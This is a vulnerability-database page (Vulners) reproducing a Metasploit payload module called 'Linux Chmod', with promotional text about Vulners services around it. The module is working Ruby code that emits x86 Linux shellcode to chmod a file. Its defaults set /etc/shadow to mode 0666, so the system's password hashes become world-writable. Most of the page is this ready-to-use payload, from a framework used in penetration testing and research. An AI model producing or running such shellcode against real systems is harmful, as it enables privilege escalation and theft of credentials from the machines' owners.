Lucene search
K

Linux Chmod

🗓️ 10 Mar 2008 21:21:51Reported by kris katterjohn <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 32 Views

Runs chmod on specified file with specified mod

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#  Linux Chmod(file, mode)
#
#  Kris Katterjohn - 03/03/2008
###
module MetasploitModule

  CachedSize = 36

  include Msf::Payload::Single
  include Msf::Payload::Linux::X86::Prepends

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Linux Chmod',
      'Description' => 'Runs chmod on specified file with specified mode',
      'Author'      => 'kris katterjohn',
      'License'     => BSD_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86))

    register_options(
      [
        OptString.new('FILE', [ true, "Filename to chmod", "/etc/shadow" ]),
        OptString.new('MODE', [ true, "File mode (octal)", "0666" ]),
      ])
  end

  # Dynamically generates chmod(FILE, MODE) + exit()
  def generate(opts={})
    file    = datastore['FILE'] || '/etc/shadow'
    mode	= (datastore['MODE'] || "0666").oct

    payload	=
      "\x99\x6a\x0f\x58\x52" +
      Rex::Arch::X86.call(file.length + 1) + file + "\x00" +
      "\x5b" + Rex::Arch::X86.push_dword(mode) +
      "\x59\xcd\x80\x6a\x01\x58\xcd\x80";
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2025 14:31Current
7.4High risk
Vulners AI Score7.4
32